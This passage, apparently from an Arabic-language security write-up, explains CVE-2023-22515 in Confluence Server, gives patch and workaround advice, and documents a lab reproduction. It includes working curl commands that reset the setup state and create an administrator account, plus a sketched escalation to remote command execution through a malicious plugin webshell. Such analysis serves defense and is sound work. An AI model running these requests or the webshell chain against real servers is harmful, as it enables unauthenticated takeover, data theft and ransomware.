عند إرسال هذا الطلب، يعتقد الخادم في الذاكرة أن الإعداد لم يكتمل. هذا لا يغير ملف الإعداد الدائم (confluence.cfg.xml)، لكنه يغير الحالة أثناء التشغيل مما يسمح بتجاوز التحكم في الوصول.

آلية الهجوم (Attack Mechanism)

1. إعادة تعيين حالة الإعداد: يصل المهاجم إلى نقطة نهاية عامة مثل /server-info.action ويرسل المعامل bootstrapStatusProvider.applicationConfig.setupComplete=false.
2. تجاوز التحكم في الوصول: يعتبر الخادم نفسه الآن في حالة "قيد التثبيت"، وبالتالي يتم رفع القيود عن الوصول إلى صفحات إعداد المدير تحت مسار /setup/*.
3. إنشاء حساب مدير: يصل المهاجم إلى صفحة /setup/setupadministrator.action وينشئ حساب مدير نظام جديد.
4. الاستيلاء على النظام: يسجل الدخول بحساب المدير المنشأ ويحصل على جميع صلاحيات النظام. يمكنه بعد ذلك تنفيذ أنشطة ضارة إضافية مثل رفع شيل ويب، تسريب بيانات، نشر برمجيات فدية.

3. إعادة إنتاج الثغرة (Reproduction)

إعداد البيئة (Environment Setup)

تم إعداد Confluence Server بإصدار ضعيف (8.5.1) باستخدام Docker.

• صورة Docker: atlassian/confluence-server:8.5.1
• قاعدة البيانات: PostgreSQL 14

docker-compose.yml (ملخص):

تنفيذ الاستغلال (Exploitation)

لتجنب مشاكل اعتماديات Python، تم كتابة وتنفيذ PoC باستخدام سكريبت Bash مع curl.

سير الاستغلال:

1. إعادة تعيين حالة الإعداد:

   root@kitploit:~

   curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
   

   النتيجة: تم استجابة HTTP 302 إعادة توجيه، وتأكدنا من إلغاء حالة الإعداد المكتمل داخليًا.

2. إنشاء مدير:

   root@kitploit:~

   curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
     -H "X-Atlassian-Token: no-check" \
     --data "username=hacked_admin&password=p@ssw0rd123&..."
   

   النتيجة: تمت محاولة إنشاء حساب hacked_admin من خلال هذا الطلب، وأصبح الوصول بهذا الحساب ممكنًا من صفحة تسجيل الدخول.

4. الإجراءات العلاجية (Mitigation)

تطبيق التصحيح (Patch)

يجب الترقية فورًا إلى أحدث الإصدارات التي توفرها Atlassian.

• الإصدارات المعدلة: 8.3.3 و8.4.3 و8.5.2 وما فوق

إجراءات تخفيف مؤقتة (Workaround)

في حالة عدم إمكانية تطبيق التصحيح، يجب حظر الوصول إلى نقطة النهاية /setup/* على مستوى الشبكة (موازن التحميل، WAF، وكيل عكسي، إلخ).

• عنوان URL المراد حظره: /setup/*

6. هجوم متقدم: سيناريو تنفيذ الأوامر عن بعد (RCE)

نظرة عامة

المهاجم الذي حصل على صلاحيات المدير عبر CVE-2023-22515 يمكنه التقدم إلى مرحلة تنفيذ أوامر النظام (RCE).

يوفر Confluence للمدير صلاحية تثبيت الإضافات (Add-ons). يمكن للمهاجم استغلال ذلك لرفع إضافة خبيثة تحتوي على وظيفة شيل ويب (Web Shell) وبالتالي الحصول على التحكم في نظام تشغيل الخادم.

سلسلة الهجوم (Attack Chain)

1. إنشاء حساب مدير (CVE-2023-22515): الحصول على صلاحيات مدير النظام بالطريقة الموضحة سابقًا.
2. خدعة إكمال الإعداد: إذا كان الخادم عالقًا في 'وضع الإعداد'، يمكن إكمال الإعداد قسريًا عبر /setup/finishsetup.action (مع تجاوز الترخيص) أو استكشاف قوائم المدير المتاحة باستخدام جلسة موجودة.
3. رفع إضافة خبيثة:
   • القائمة: Confluence Administration -> Manage Apps -> Upload App
   • الملف: ملف .jar يحتوي على فئات Java خبيثة.
4. تنفيذ الأوامر:
   • الوصول إلى عنوان URL الذي توفره الإضافة المرفوعة (مثل /plugins/servlet/webshell?cmd=id) لتنفيذ أوامر النظام.

حدود بيئة إعادة الإنتاج الحالية

بيئة الممارسة هذه (Docker) لا تملك ترخيص Confluence صالحًا، لذا لا يمكن إكمال مرحلة الإعداد الأولي. وبالتالي، كان طلب إنشاء حساب المدير ناجحًا (إعادة توجيه 302)، لكن الوصول إلى قائمة الإضافات وتنفيذ RCE الفعلي كان محدودًا. في البيئات الإنتاجية الحقيقية، الترخيص مسجل، لذا يمكن تنفيذ RCE فورًا دون هذه القيود.

7. الخلاصة (Conclusion)

CVE-2023-22515 هي ثغرة خطيرة جدًا تسمح بالحصول على صلاحيات المدير دون مصادقة. يمكن تنفيذ الهجوم بمجرد التلاعب بمعلمات URL، مما يجعل صعوبة الهجوم منخفضة جدًا. لذلك، يجب على المؤسسات التي تستخدم هذه الإصدارات تطبيق التصحيح أو الإجراءات التخفيفية فورًا.